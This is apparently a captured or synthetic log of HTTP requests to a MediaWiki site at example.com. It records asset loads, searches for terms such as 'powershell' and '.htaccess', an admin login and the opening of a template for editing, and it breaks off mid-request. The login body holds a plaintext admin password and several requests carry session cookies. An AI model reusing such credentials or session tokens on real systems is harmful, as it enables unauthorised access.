{"method": "GET", "target": "/load.php?modules=skins.vector.icons&image=star&format=original&lang=en&skin=vector-2022&version=r420v", "headers": ["Host: example.com", "User-Agent: Mozilla/5.0 (X11; Linux x86_64) AppleWebKit/537.36 (KHTML, like Gecko) Chrome/137.0.0.0 Safari/537.36", "Origin: http://example.com", "Accept: image/jxl,image/avif,image/webp,image/apng,image/svg+xml,image/*,*/*;q=0.8", "Referer: http://example.com/load.php?lang=en&modules=skins.vector.icons%2Cstyles%7Cskins.vector.search.codex.styles&only=styles&skin=vector-2022", "Accept-Encoding: gzip, deflate"], "body": ""}
{"method": "GET", "target": "/load.php?modules=skins.vector.icons.js&image=speechBubbles&format=original&lang=en&skin=vector-2022&version=ig50t", "headers": ["Host: example.com", "User-Agent: Mozilla/5.0 (X11; Linux x86_64) AppleWebKit/537.36 (KHTML, like Gecko) Chrome/137.0.0.0 Safari/537.36", "Origin: http://example.com", "Accept: image/jxl,image/avif,image/webp,image/apng,image/svg+xml,image/*,*/*;q=0.8", "Referer: http://example.com/wiki/Main_Page", "Accept-Encoding: gzip, deflate"], "body": ""}
{"method": "GET", "target": "/load.php?modules=skins.vector.icons.js&image=edit&format=original&lang=en&skin=vector-2022&version=ig50t", "headers": ["Host: example.com", "User-Agent: Mozilla/5.0 (X11; Linux x86_64) AppleWebKit/537.36 (KHTML, like Gecko) Chrome/137.0.0.0 Safari/537.36", "Origin: http://example.com", "Accept: image/jxl,image/avif,image/webp,image/apng,image/svg+xml,image/*,*/*;q=0.8", "Referer: http://example.com/wiki/Main_Page", "Accept-Encoding: gzip, deflate"], "body": ""}
{"method": "GET", "target": "/load.php?modules=skins.vector.icons.js&image=editLock&format=original&lang=en&skin=vector-2022&version=ig50t", "headers": ["Host: example.com", "User-Agent: Mozilla/5.0 (X11; Linux x86_64) AppleWebKit/537.36 (KHTML, like Gecko) Chrome/137.0.0.0 Safari/537.36", "Origin: http://example.com", "Accept: image/jxl,image/avif,image/webp,image/apng,image/svg+xml,image/*,*/*;q=0.8", "Referer: http://example.com/wiki/Main_Page", "Accept-Encoding: gzip, deflate"], "body": ""}
{"method": "GET", "target": "/load.php?modules=skins.vector.icons.js&image=speechBubbleAdd&variant=progressive&format=original&lang=en&skin=vector-2022&version=ig50t", "headers": ["Host: example.com", "User-Agent: Mozilla/5.0 (X11; Linux x86_64) AppleWebKit/537.36 (KHTML, like Gecko) Chrome/137.0.0.0 Safari/537.36", "Origin: http://example.com", "Accept: image/jxl,image/avif,image/webp,image/apng,image/svg+xml,image/*,*/*;q=0.8", "Referer: http://example.com/wiki/Main_Page", "Accept-Encoding: gzip, deflate"], "body": ""}
{"method": "GET", "target": "/load.php?modules=skins.vector.icons.js&image=wikiText&format=original&lang=en&skin=vector-2022&version=ig50t", "headers": ["Host: example.com", "User-Agent: Mozilla/5.0 (X11; Linux x86_64) AppleWebKit/537.36 (KHTML, like Gecko) Chrome/137.0.0.0 Safari/537.36", "Origin: http://example.com", "Accept: image/jxl,image/avif,image/webp,image/apng,image/svg+xml,image/*,*/*;q=0.8", "Referer: http://example.com/wiki/Main_Page", "Accept-Encoding: gzip, deflate"], "body": ""}
{"method": "GET", "target": "/index.php?title=Main_Page&action=history", "headers": ["Host: example.com", "Upgrade-Insecure-Requests: 1", "User-Agent: Mozilla/5.0 (X11; Linux x86_64) AppleWebKit/537.36 (KHTML, like Gecko) Chrome/137.0.0.0 Safari/537.36", "Accept: text/html,application/xhtml+xml,application/xml;q=0.9,image/jxl,image/avif,image/webp,image/apng,*/*;q=0.8,application/signed-exchange;v=b3;q=0.7", "Accept-Encoding: gzip, deflate"], "body": ""}
{"method": "GET", "target": "/load.php?lang=en&modules=jquery.makeCollapsible.styles%7Cmediawiki.action.history.styles%7Cmediawiki.codex.messagebox.styles%7Cmediawiki.feedlink%2Chelplink%7Cmediawiki.htmlform.ooui.styles%7Cmediawiki.htmlform.styles%7Cmediawiki.interface.helpers.linker.styles%7Cmediawiki.interface.helpers.styles%7Cmediawiki.pager.styles%7Cmediawiki.special.changeslist%7Cmediawiki.widgets.DateInputWidget.styles%7Cmediawiki.widgets.styles%7Coojs-ui-core.icons%2Cstyles%7Coojs-ui.styles.indicators%7Cskins.vector.icons%2Cstyles%7Cskins.vector.search.codex.styles&only=styles&skin=vector-2022", "headers": ["Host: example.com", "User-Agent: Mozilla/5.0 (X11; Linux x86_64) AppleWebKit/537.36 (KHTML, like Gecko) Chrome/137.0.0.0 Safari/537.36", "Accept: text/css,*/*;q=0.1", "Referer: http://example.com/index.php?title=Main_Page&action=history", "Accept-Encoding: gzip, deflate"], "body": ""}
{"method": "GET", "target": "/load.php?lang=en&modules=jquery%2Cmoment%2Coojs%2Coojs-ui-core%2Coojs-ui-widgets%2Csite%7Cjquery.client%2ClengthLimit%2CmakeCollapsible%7Cmediawiki.String%2CTitle%2Capi%2Cbase%2Ccldr%2Ccookie%2Cexperiments%2Chtmlform%2CjqueryMsg%2Clanguage%2Cstorage%2Cuser%2Cutil%7Cmediawiki.action.history%7Cmediawiki.htmlform.ooui%7Cmediawiki.libs.pluralruleparser%7Cmediawiki.page.ready%7Cmediawiki.page.watch.ajax%7Cmediawiki.widgets.DateInputWidget%7Coojs-ui-widgets.icons%7Coojs-ui.styles.icons-movement%7Cskins.vector.clientPreferences%2Cjs%7Cskins.vector.icons.js&skin=vector-2022&version=1mqik", "headers": ["Host: example.com", "User-Agent: Mozilla/5.0 (X11; Linux x86_64) AppleWebKit/537.36 (KHTML, like Gecko) Chrome/137.0.0.0 Safari/537.36", "Accept: */*", "Referer: http://example.com/index.php?title=Main_Page&action=history", "Accept-Encoding: gzip, deflate"], "body": ""}
{"method": "GET", "target": "/wiki/Special:RecentChanges", "headers": ["Host: example.com", "Upgrade-Insecure-Requests: 1", "User-Agent: Mozilla/5.0 (X11; Linux x86_64) AppleWebKit/537.36 (KHTML, like Gecko) Chrome/137.0.0.0 Safari/537.36", "Accept: text/html,application/xhtml+xml,application/xml;q=0.9,image/jxl,image/avif,image/webp,image/apng,*/*;q=0.8,application/signed-exchange;v=b3;q=0.7", "Accept-Encoding: gzip, deflate"], "body": ""}
{"method": "GET", "target": "/load.php?lang=en&modules=mediawiki.feedlink%2Chelplink%7Cmediawiki.interface.helpers.linker.styles%7Cmediawiki.interface.helpers.styles%7Cmediawiki.rcfilters.filters.base.styles%7Cmediawiki.special.changeslist%7Cmediawiki.special.changeslist.enhanced%2Clegend%7Cskins.vector.icons%2Cstyles%7Cskins.vector.search.codex.styles&only=styles&skin=vector-2022", "headers": ["Host: example.com", "User-Agent: Mozilla/5.0 (X11; Linux x86_64) AppleWebKit/537.36 (KHTML, like Gecko) Chrome/137.0.0.0 Safari/537.36", "Accept: text/css,*/*;q=0.1", "Referer: http://example.com/wiki/Special:RecentChanges", "Accept-Encoding: gzip, deflate"], "body": ""}
{"method": "GET", "target": "/load.php?lang=en&modules=jquery%2Coojs%2Coojs-ui-core%2Coojs-ui-widgets%2Csite%7Cjquery.client%2CmakeCollapsible%7Cjquery.makeCollapsible.styles%7Cmediawiki.String%2CTitle%2Capi%2Cbase%2Ccldr%2Ccookie%2Cexperiments%2CjqueryMsg%2Clanguage%2Cstorage%2Cuser%2Cutil%2Cwidgets%7Cmediawiki.libs.pluralruleparser%7Cmediawiki.page.ready%7Cmediawiki.page.watch.ajax%7Cmediawiki.rcfilters.filters.ui%7Cmediawiki.special.changeslist.legend.js%7Cmediawiki.widgets.styles%7Coojs-ui-core.icons%2Cstyles%7Coojs-ui-widgets.icons%7Coojs-ui-windows.icons%7Coojs-ui.styles.icons-content%2Cicons-editing-advanced%2Cicons-editing-core%2Cicons-editing-styling%2Cicons-interactions%2Cicons-layout%2Cicons-media%2Cicons-moderation%2Cindicators%7Cskins.vector.clientPreferences%2Cjs%7Cskins.vector.icons.js&skin=vector-2022&version=6mcou", "headers": ["Host: example.com", "User-Agent: Mozilla/5.0 (X11; Linux x86_64) AppleWebKit/537.36 (KHTML, like Gecko) Chrome/137.0.0.0 Safari/537.36", "Accept: */*", "Referer: http://example.com/wiki/Special:RecentChanges", "Accept-Encoding: gzip, deflate"], "body": ""}
{"method": "GET", "target": "/wiki/Special:Random", "headers": ["Host: example.com", "Upgrade-Insecure-Requests: 1", "User-Agent: Mozilla/5.0 (X11; Linux x86_64) AppleWebKit/537.36 (KHTML, like Gecko) Chrome/137.0.0.0 Safari/537.36", "Accept: text/html,application/xhtml+xml,application/xml;q=0.9,image/jxl,image/avif,image/webp,image/apng,*/*;q=0.8,application/signed-exchange;v=b3;q=0.7", "Accept-Encoding: gzip, deflate"], "body": ""}
{"method": "GET", "target": "/load.php?lang=en&modules=mediawiki.codex.typeaheadSearch%7Cmediawiki.skinning.typeaheadSearch%7Cskins.vector.search%7Cvue&skin=vector-2022&version=1f1tf", "headers": ["Host: example.com", "User-Agent: Mozilla/5.0 (X11; Linux x86_64) AppleWebKit/537.36 (KHTML, like Gecko) Chrome/137.0.0.0 Safari/537.36", "Accept: */*", "Referer: http://example.com/wiki/Main_Page", "Accept-Encoding: gzip, deflate"], "body": ""}
{"method": "GET", "target": "/index.php?search=Lighthouse&title=Special%3ASearch&go=Go", "headers": ["Host: example.com", "Upgrade-Insecure-Requests: 1", "User-Agent: Mozilla/5.0 (X11; Linux x86_64) AppleWebKit/537.36 (KHTML, like Gecko) Chrome/137.0.0.0 Safari/537.36", "Accept: text/html,application/xhtml+xml,application/xml;q=0.9,image/jxl,image/avif,image/webp,image/apng,*/*;q=0.8,application/signed-exchange;v=b3;q=0.7", "Accept-Encoding: gzip, deflate"], "body": ""}
{"method": "GET", "target": "/load.php?lang=en&modules=mediawiki.codex.messagebox.styles%7Cmediawiki.helplink%2Cspecial%7Cmediawiki.special.search.styles%7Cmediawiki.widgets.SearchInputWidget.styles%7Cmediawiki.widgets.styles%7Coojs-ui-core.icons%2Cstyles%7Coojs-ui.styles.indicators%7Cskins.vector.icons%2Cstyles%7Cskins.vector.search.codex.styles&only=styles&skin=vector-2022", "headers": ["Host: example.com", "User-Agent: Mozilla/5.0 (X11; Linux x86_64) AppleWebKit/537.36 (KHTML, like Gecko) Chrome/137.0.0.0 Safari/537.36", "Accept: text/css,*/*;q=0.1", "Referer: http://example.com/index.php?search=Lighthouse&title=Special%3ASearch&go=Go", "Accept-Encoding: gzip, deflate"], "body": ""}
{"method": "GET", "target": "/load.php?lang=en&modules=jquery%2Coojs%2Coojs-ui-core%2Coojs-ui-widgets%2Csite%7Cjquery.client%2ChighlightText%2Csuggestions%7Cmediawiki.String%2CTitle%2Capi%2Cbase%2Ccldr%2Ccookie%2Cexperiments%2CjqueryMsg%2Clanguage%2CsearchSuggest%2Cstorage%2Cuser%2Cutil%2Cwidgets%7Cmediawiki.libs.pluralruleparser%7Cmediawiki.page.ready%7Cmediawiki.page.watch.ajax%7Cmediawiki.special.search%7Cmediawiki.widgets.SearchInputWidget%7Coojs-ui-widgets.icons%7Coojs-ui.styles.icons-content%2Cicons-editing-advanced%2Cicons-interactions%7Cskins.vector.clientPreferences%2Cjs%7Cskins.vector.icons.js&skin=vector-2022&version=j0mv5", "headers": ["Host: example.com", "User-Agent: Mozilla/5.0 (X11; Linux x86_64) AppleWebKit/537.36 (KHTML, like Gecko) Chrome/137.0.0.0 Safari/537.36", "Accept: */*", "Referer: http://example.com/index.php?search=Lighthouse&title=Special%3ASearch&go=Go", "Accept-Encoding: gzip, deflate"], "body": ""}
{"method": "GET", "target": "/index.php?search=Lighthouse&title=Special%3ASearch&profile=default&fulltext=1", "headers": ["Host: example.com", "Upgrade-Insecure-Requests: 1", "User-Agent: Mozilla/5.0 (X11; Linux x86_64) AppleWebKit/537.36 (KHTML, like Gecko) Chrome/137.0.0.0 Safari/537.36", "Accept: text/html,application/xhtml+xml,application/xml;q=0.9,image/jxl,image/avif,image/webp,image/apng,*/*;q=0.8,application/signed-exchange;v=b3;q=0.7", "Accept-Encoding: gzip, deflate"], "body": ""}
{"method": "GET", "target": "/index.php?search=python3&title=Special%3ASearch&go=Go", "headers": ["Host: example.com", "Upgrade-Insecure-Requests: 1", "User-Agent: Mozilla/5.0 (X11; Linux x86_64) AppleWebKit/537.36 (KHTML, like Gecko) Chrome/137.0.0.0 Safari/537.36", "Accept: text/html,application/xhtml+xml,application/xml;q=0.9,image/jxl,image/avif,image/webp,image/apng,*/*;q=0.8,application/signed-exchange;v=b3;q=0.7", "Accept-Encoding: gzip, deflate"], "body": ""}
{"method": "GET", "target": "/index.php?search=python3&title=Special%3ASearch&profile=default&fulltext=1", "headers": ["Host: example.com", "Upgrade-Insecure-Requests: 1", "User-Agent: Mozilla/5.0 (X11; Linux x86_64) AppleWebKit/537.36 (KHTML, like Gecko) Chrome/137.0.0.0 Safari/537.36", "Accept: text/html,application/xhtml+xml,application/xml;q=0.9,image/jxl,image/avif,image/webp,image/apng,*/*;q=0.8,application/signed-exchange;v=b3;q=0.7", "Accept-Encoding: gzip, deflate"], "body": ""}
{"method": "GET", "target": "/index.php?search=powershell&title=Special%3ASearch&go=Go", "headers": ["Host: example.com", "Upgrade-Insecure-Requests: 1", "User-Agent: Mozilla/5.0 (X11; Linux x86_64) AppleWebKit/537.36 (KHTML, like Gecko) Chrome/137.0.0.0 Safari/537.36", "Accept: text/html,application/xhtml+xml,application/xml;q=0.9,image/jxl,image/avif,image/webp,image/apng,*/*;q=0.8,application/signed-exchange;v=b3;q=0.7", "Accept-Encoding: gzip, deflate"], "body": ""}
{"method": "GET", "target": "/rest.php/v1/search/title?q=powershell&limit=10", "headers": ["Host: example.com", "User-Agent: Mozilla/5.0 (X11; Linux x86_64) AppleWebKit/537.36 (KHTML, like Gecko) Chrome/137.0.0.0 Safari/537.36", "accept: application/json", "Referer: http://example.com/wiki/Main_Page", "Accept-Encoding: gzip, deflate"], "body": ""}
{"method": "GET", "target": "/index.php?search=powershell&title=Special%3ASearch&profile=default&fulltext=1", "headers": ["Host: example.com", "Upgrade-Insecure-Requests: 1", "User-Agent: Mozilla/5.0 (X11; Linux x86_64) AppleWebKit/537.36 (KHTML, like Gecko) Chrome/137.0.0.0 Safari/537.36", "Accept: text/html,application/xhtml+xml,application/xml;q=0.9,image/jxl,image/avif,image/webp,image/apng,*/*;q=0.8,application/signed-exchange;v=b3;q=0.7", "Accept-Encoding: gzip, deflate"], "body": ""}
{"method": "GET", "target": "/index.php?search=ls+-la&title=Special%3ASearch&go=Go", "headers": ["Host: example.com", "Upgrade-Insecure-Requests: 1", "User-Agent: Mozilla/5.0 (X11; Linux x86_64) AppleWebKit/537.36 (KHTML, like Gecko) Chrome/137.0.0.0 Safari/537.36", "Accept: text/html,application/xhtml+xml,application/xml;q=0.9,image/jxl,image/avif,image/webp,image/apng,*/*;q=0.8,application/signed-exchange;v=b3;q=0.7", "Accept-Encoding: gzip, deflate"], "body": ""}
{"method": "GET", "target": "/rest.php/v1/search/title?q=ls+-la&limit=10", "headers": ["Host: example.com", "User-Agent: Mozilla/5.0 (X11; Linux x86_64) AppleWebKit/537.36 (KHTML, like Gecko) Chrome/137.0.0.0 Safari/537.36", "accept: application/json", "Referer: http://example.com/wiki/Main_Page", "Accept-Encoding: gzip, deflate"], "body": ""}
{"method": "GET", "target": "/index.php?search=ls+-la&title=Special%3ASearch&profile=default&fulltext=1", "headers": ["Host: example.com", "Upgrade-Insecure-Requests: 1", "User-Agent: Mozilla/5.0 (X11; Linux x86_64) AppleWebKit/537.36 (KHTML, like Gecko) Chrome/137.0.0.0 Safari/537.36", "Accept: text/html,application/xhtml+xml,application/xml;q=0.9,image/jxl,image/avif,image/webp,image/apng,*/*;q=0.8,application/signed-exchange;v=b3;q=0.7", "Accept-Encoding: gzip, deflate"], "body": ""}
{"method": "GET", "target": "/index.php?search=.htaccess&title=Special%3ASearch&go=Go", "headers": ["Host: example.com", "Upgrade-Insecure-Requests: 1", "User-Agent: Mozilla/5.0 (X11; Linux x86_64) AppleWebKit/537.36 (KHTML, like Gecko) Chrome/137.0.0.0 Safari/537.36", "Accept: text/html,application/xhtml+xml,application/xml;q=0.9,image/jxl,image/avif,image/webp,image/apng,*/*;q=0.8,application/signed-exchange;v=b3;q=0.7", "Accept-Encoding: gzip, deflate"], "body": ""}
{"method": "GET", "target": "/rest.php/v1/search/title?q=.htaccess&limit=10", "headers": ["Host: example.com", "User-Agent: Mozilla/5.0 (X11; Linux x86_64) AppleWebKit/537.36 (KHTML, like Gecko) Chrome/137.0.0.0 Safari/537.36", "accept: application/json", "Referer: http://example.com/wiki/Main_Page", "Accept-Encoding: gzip, deflate"], "body": ""}
{"method": "GET", "target": "/index.php?search=.htaccess&title=Special%3ASearch&profile=default&fulltext=1", "headers": ["Host: example.com", "Upgrade-Insecure-Requests: 1", "User-Agent: Mozilla/5.0 (X11; Linux x86_64) AppleWebKit/537.36 (KHTML, like Gecko) Chrome/137.0.0.0 Safari/537.36", "Accept: text/html,application/xhtml+xml,application/xml;q=0.9,image/jxl,image/avif,image/webp,image/apng,*/*;q=0.8,application/signed-exchange;v=b3;q=0.7", "Accept-Encoding: gzip, deflate"], "body": ""}
{"method": "GET", "target": "/index.php?title=Special:UserLogin&returnto=Main+Page", "headers": ["Host: example.com", "Upgrade-Insecure-Requests: 1", "User-Agent: Mozilla/5.0 (X11; Linux x86_64) AppleWebKit/537.36 (KHTML, like Gecko) Chrome/137.0.0.0 Safari/537.36", "Accept: text/html,application/xhtml+xml,application/xml;q=0.9,image/jxl,image/avif,image/webp,image/apng,*/*;q=0.8,application/signed-exchange;v=b3;q=0.7", "Accept-Encoding: gzip, deflate"], "body": ""}
{"method": "GET", "target": "/load.php?lang=en&modules=mediawiki.codex.messagebox.styles%7Cmediawiki.htmlform.codex.styles%7Cmediawiki.htmlform.styles%7Cmediawiki.special.userlogin.common.styles%7Cmediawiki.special.userlogin.login.styles%7Cskins.vector.icons%2Cstyles%7Cskins.vector.search.codex.styles&only=styles&skin=vector-2022", "headers": ["Host: example.com", "User-Agent: Mozilla/5.0 (X11; Linux x86_64) AppleWebKit/537.36 (KHTML, like Gecko) Chrome/137.0.0.0 Safari/537.36", "Accept: text/css,*/*;q=0.1", "Referer: http://example.com/index.php?title=Special:UserLogin&returnto=Main+Page", "Accept-Encoding: gzip, deflate", "Cookie: my_wiki_session=6h07mueara4v6llhjv03serk692mujhm"], "body": ""}
{"method": "GET", "target": "/load.php?lang=en&modules=startup&only=scripts&raw=1&safemode=1&skin=vector-2022", "headers": ["Host: example.com", "User-Agent: Mozilla/5.0 (X11; Linux x86_64) AppleWebKit/537.36 (KHTML, like Gecko) Chrome/137.0.0.0 Safari/537.36", "Accept: */*", "Referer: http://example.com/index.php?title=Special:UserLogin&returnto=Main+Page", "Accept-Encoding: gzip, deflate", "Cookie: my_wiki_session=6h07mueara4v6llhjv03serk692mujhm"], "body": ""}
{"method": "GET", "target": "/load.php?lang=en&modules=jquery%7Cjquery.client%2ClengthLimit%7Cmediawiki.String%2CTitle%2Capi%2Cbase%2Ccldr%2Ccookie%2Cexperiments%2Chtmlform%2CjqueryMsg%2Clanguage%2Cstorage%2Cuser%2Cutil%7Cmediawiki.libs.pluralruleparser%7Cmediawiki.page.ready%7Cmediawiki.page.watch.ajax%7Cskins.vector.clientPreferences%2Cjs%7Cskins.vector.icons.js&skin=vector-2022&version=1iuh6", "headers": ["Host: example.com", "User-Agent: Mozilla/5.0 (X11; Linux x86_64) AppleWebKit/537.36 (KHTML, like Gecko) Chrome/137.0.0.0 Safari/537.36", "Accept: */*", "Referer: http://example.com/index.php?title=Special:UserLogin&returnto=Main+Page", "Accept-Encoding: gzip, deflate", "Cookie: my_wiki_session=6h07mueara4v6llhjv03serk692mujhm"], "body": ""}
{"method": "GET", "target": "/resources/src/mediawiki.special.userlogin.login.styles/images/glyph-people-large.png?707d6", "headers": ["Host: example.com", "User-Agent: Mozilla/5.0 (X11; Linux x86_64) AppleWebKit/537.36 (KHTML, like Gecko) Chrome/137.0.0.0 Safari/537.36", "Accept: image/jxl,image/avif,image/webp,image/apng,image/svg+xml,image/*,*/*;q=0.8", "Referer: http://example.com/load.php?lang=en&modules=mediawiki.codex.messagebox.styles%7Cmediawiki.htmlform.codex.styles%7Cmediawiki.htmlform.styles%7Cmediawiki.special.userlogin.common.styles%7Cmediawiki.special.userlogin.login.styles%7Cskins.vector.icons%2Cstyles%7Cskins.vector.search.codex.styles&only=styles&skin=vector-2022", "Accept-Encoding: gzip, deflate", "Cookie: my_wiki_session=6h07mueara4v6llhjv03serk692mujhm"], "body": ""}
{"method": "POST", "target": "/index.php?title=Special:UserLogin&returnto=Main+Page", "headers": ["Host: example.com", "Content-Length: 192", "Cache-Control: max-age=0", "Upgrade-Insecure-Requests: 1", "Content-Type: application/x-www-form-urlencoded", "User-Agent: Mozilla/5.0 (X11; Linux x86_64) AppleWebKit/537.36 (KHTML, like Gecko) Chrome/137.0.0.0 Safari/537.36", "Origin: http://example.com", "Accept: text/html,application/xhtml+xml,application/xml;q=0.9,image/jxl,image/avif,image/webp,image/apng,*/*;q=0.8,application/signed-exchange;v=b3;q=0.7", "Referer: http://example.com/index.php?title=Special:UserLogin&returnto=Main+Page", "Accept-Encoding: gzip, deflate", "Cookie: my_wiki_session=6h07mueara4v6llhjv03serk692mujhm"], "body": "title=Special%3AUserLogin&wpName=Admin&wpPassword=Example-pass-2026&wploginattempt=Log+in&wpEditToken=%2B%5C&authAction=login&force=&wpLoginToken=88e959f6bfc57bbe13b3ae15000362c26af22671%2B%5C"}
{"method": "GET", "target": "/load.php?lang=en&modules=mediawiki.action.styles%7Cskins.vector.icons%2Cstyles%7Cskins.vector.search.codex.styles&only=styles&skin=vector-2022", "headers": ["Host: example.com", "User-Agent: Mozilla/5.0 (X11; Linux x86_64) AppleWebKit/537.36 (KHTML, like Gecko) Chrome/137.0.0.0 Safari/537.36", "Accept: text/css,*/*;q=0.1", "Referer: http://example.com/wiki/Main_Page", "Accept-Encoding: gzip, deflate", "Cookie: my_wiki_session=cg80e269u80cijgpca779rpmsvk46uc0; my_wikiUserID=2; my_wikiUserName=Admin"], "body": ""}
{"method": "GET", "target": "/load.php?lang=en&modules=jquery%2Csite%7Cjquery.chosen%2Cclient%2Cconfirmable%2ClengthLimit%2Cspinner%7Cjquery.spinner.styles%7Cmediawiki.String%2CTitle%2Capi%2Cbase%2Ccldr%2Ccookie%2Cexperiments%2CjqueryMsg%2Clanguage%2Cmisc-authed-curate%2Cstorage%2Cuser%2Cutil%7Cmediawiki.libs.pluralruleparser%7Cmediawiki.page.ready%7Cmediawiki.page.watch.ajax%7Cskins.vector.clientPreferences%2Cjs%7Cskins.vector.icons.js&skin=vector-2022&version=4w1ib", "headers": ["Host: example.com", "User-Agent: Mozilla/5.0 (X11; Linux x86_64) AppleWebKit/537.36 (KHTML, like Gecko) Chrome/137.0.0.0 Safari/537.36", "Accept: */*", "Referer: http://example.com/wiki/Main_Page", "Accept-Encoding: gzip, deflate", "Cookie: my_wiki_session=cg80e269u80cijgpca779rpmsvk46uc0; my_wikiUserID=2; my_wikiUserName=Admin"], "body": ""}
{"method": "GET", "target": "/load.php?modules=skins.vector.icons&image=watchlist&format=original&lang=en&skin=vector-2022&version=r420v", "headers": ["Host: example.com", "User-Agent: Mozilla/5.0 (X11; Linux x86_64) AppleWebKit/537.36 (KHTML, like Gecko) Chrome/137.0.0.0 Safari/537.36", "Origin: http://example.com", "Accept: image/jxl,image/avif,image/webp,image/apng,image/svg+xml,image/*,*/*;q=0.8", "Referer: http://example.com/load.php?lang=en&modules=mediawiki.action.styles%7Cskins.vector.icons%2Cstyles%7Cskins.vector.search.codex.styles&only=styles&skin=vector-2022", "Accept-Encoding: gzip, deflate", "Cookie: my_wiki_session=cg80e269u80cijgpca779rpmsvk46uc0; my_wikiUserID=2; my_wikiUserName=Admin"], "body": ""}
{"method": "GET", "target": "/load.php?modules=skins.vector.icons&image=userAvatar&format=original&lang=en&skin=vector-2022&version=r420v", "headers": ["Host: example.com", "User-Agent: Mozilla/5.0 (X11; Linux x86_64) AppleWebKit/537.36 (KHTML, like Gecko) Chrome/137.0.0.0 Safari/537.36", "Origin: http://example.com", "Accept: image/jxl,image/avif,image/webp,image/apng,image/svg+xml,image/*,*/*;q=0.8", "Referer: http://example.com/load.php?lang=en&modules=mediawiki.action.styles%7Cskins.vector.icons%2Cstyles%7Cskins.vector.search.codex.styles&only=styles&skin=vector-2022", "Accept-Encoding: gzip, deflate", "Cookie: my_wiki_session=cg80e269u80cijgpca779rpmsvk46uc0; my_wikiUserID=2; my_wikiUserName=Admin"], "body": ""}
{"method": "GET", "target": "/load.php?modules=skins.vector.icons&image=settings&format=original&lang=en&skin=vector-2022&version=r420v", "headers": ["Host: example.com", "User-Agent: Mozilla/5.0 (X11; Linux x86_64) AppleWebKit/537.36 (KHTML, like Gecko) Chrome/137.0.0.0 Safari/537.36", "Origin: http://example.com", "Accept: image/jxl,image/avif,image/webp,image/apng,image/svg+xml,image/*,*/*;q=0.8", "Referer: http://example.com/load.php?lang=en&modules=mediawiki.action.styles%7Cskins.vector.icons%2Cstyles%7Cskins.vector.search.codex.styles&only=styles&skin=vector-2022", "Accept-Encoding: gzip, deflate", "Cookie: my_wiki_session=cg80e269u80cijgpca779rpmsvk46uc0; my_wikiUserID=2; my_wikiUserName=Admin"], "body": ""}
{"method": "GET", "target": "/load.php?modules=skins.vector.icons&image=logOut&format=original&lang=en&skin=vector-2022&version=r420v", "headers": ["Host: example.com", "User-Agent: Mozilla/5.0 (X11; Linux x86_64) AppleWebKit/537.36 (KHTML, like Gecko) Chrome/137.0.0.0 Safari/537.36", "Origin: http://example.com", "Accept: image/jxl,image/avif,image/webp,image/apng,image/svg+xml,image/*,*/*;q=0.8", "Referer: http://example.com/load.php?lang=en&modules=mediawiki.action.styles%7Cskins.vector.icons%2Cstyles%7Cskins.vector.search.codex.styles&only=styles&skin=vector-2022", "Accept-Encoding: gzip, deflate", "Cookie: my_wiki_session=cg80e269u80cijgpca779rpmsvk46uc0; my_wikiUserID=2; my_wikiUserName=Admin"], "body": ""}
{"method": "GET", "target": "/index.php?title=Template:Infobox&action=edit", "headers": ["Host: example.com", "Upgrade-Insecure-Requests: 1", "User-Agent: Mozilla/5.0 (X11; Linux x86_64) AppleWebKit/537.36 (KHTML, like Gecko) Chrome/137.0.0.0 Safari/537.36", "Accept: text/html,application/xhtml+xml,application/xml;q=0.9,image/jxl,image/avif,image/webp,image/apng,*/*;q=0.8,application/signed-exchange;v=b3;q=0.7", "Accept-Encoding: gzip, deflate", "Cookie: my_wiki_session=cg80e269u80cijgpca779rpmsvk46uc0; my_wikiUserID=2; my_wikiUserName=Admin"], "body": ""}
{"method": "GET", "target": "/load.php?lang=en&modules=mediawiki.action.edit.styles%7Cmediawiki.codex.messagebox.styles%7Cmediawiki.editfont.styles%7Cmediawiki.interface.helpers.styles%7Cmediawiki.pager.styles%7Cmediawiki.widgets.styles%7Coojs-ui-core.icons%2Cstyles%7Coojs-ui.styles.indicators%7Cskins.vector.icons%2Cstyles%7Cskins.vector.search.codex.styles&only=styles&skin=vector-2022", "headers": ["Host: example.com", "User-Agent: Mozilla/5.0 (X11; Linux x86_64) AppleWebKit/537.36 (KHTML, like Gecko) Chrome/137.0.0.0 Safari/537.36", "Accept: text/css,*/*;q=0.1", "Referer: http://example.com/index.php?title=Template:Infobox&action=edit", "Accept-Encoding: gzip, deflate", "Cookie: my_wiki_session=cg80e269u80cijgpca779rpmsvk46uc0; my_wikiUserID=2; my_wikiUserName=Admin"], "body": ""}
{"method": "GET", "target": "/load.php?lang=en&modules=jquery%2Coojs%2Coojs-ui-core%2Csite%7Cjquery.client%2ClengthLimit%2CmakeCollapsible%2CtextSelection%7Cjquery.makeCollapsible.styles%7Cmediawiki.String%2CTitle%2Capi%2Cbase%2Ccldr%2CconfirmCloseWindow%2Ccookie%2Cexperiments%2CjqueryMsg%2Clanguage%2Cstorage%2Cuser%2Cutil%7Cmediawiki.action.edit%7Cmediawiki.action.edit.collapsibleFooter%2CeditWarning%7Cmediawiki.libs.pluralruleparser%7Cmediawiki.page.ready%7Cmediawiki.page.watch.ajax%7Cmediawiki.widgets.visibleLengthLimit%7Cskins.vector.clientPreferences%2Cjs%7Cskins.vector.icons.js&skin=vector-2022&version=1w3uh", "headers": ["Host: example.com", "User-Agent: Mozilla/5.0 (X11; Linux x86_64) AppleWebKit/537.36 (KHTML, like Gecko) Chrome/137.0.0.0 Safari/537.36", "Accept: */*", "Referer: http://example.com/index.php?title=Template:Infobox&action=edit", "Accept-Encoding: gzip, deflate", "Cookie: my_wiki_session=cg80e269u80cijgpca779rpmsvk46uc0; my_wikiUserID=2; my_wikiUserName=Admin"], "body": ""}
{"method": "POST", "target": "/api.php?action=stashedit", "headers": ["Host: example.com", "Content-Length: 511", "Api-User-Agent: MediaWiki-JS/1.46.2", "X-Requested-With: XMLHttpRequest", "User-Agent: Mozilla/5.0 (X11; Linux x86_64) AppleWebKit/537.36 (KHTML, like Gecko) Chrome/137.0.0.0 Safari/537.36", "Accept: application/json, text/javascript, */*; q=0.01", "Content-Type: application/x-www-form-urlencoded; charset=UTF-8", "Origin: http://example.com", "Referer: http://example.com/index.php?title=Template:Infobox&action=edit", "Accept-Encoding: gzip, deflate", "Cookie: my_wiki_session=cg80e269u80cijgpca779rpmsvk46uc0; my_wikiUserID=2; my_wikiUserName=Admin"], "body": 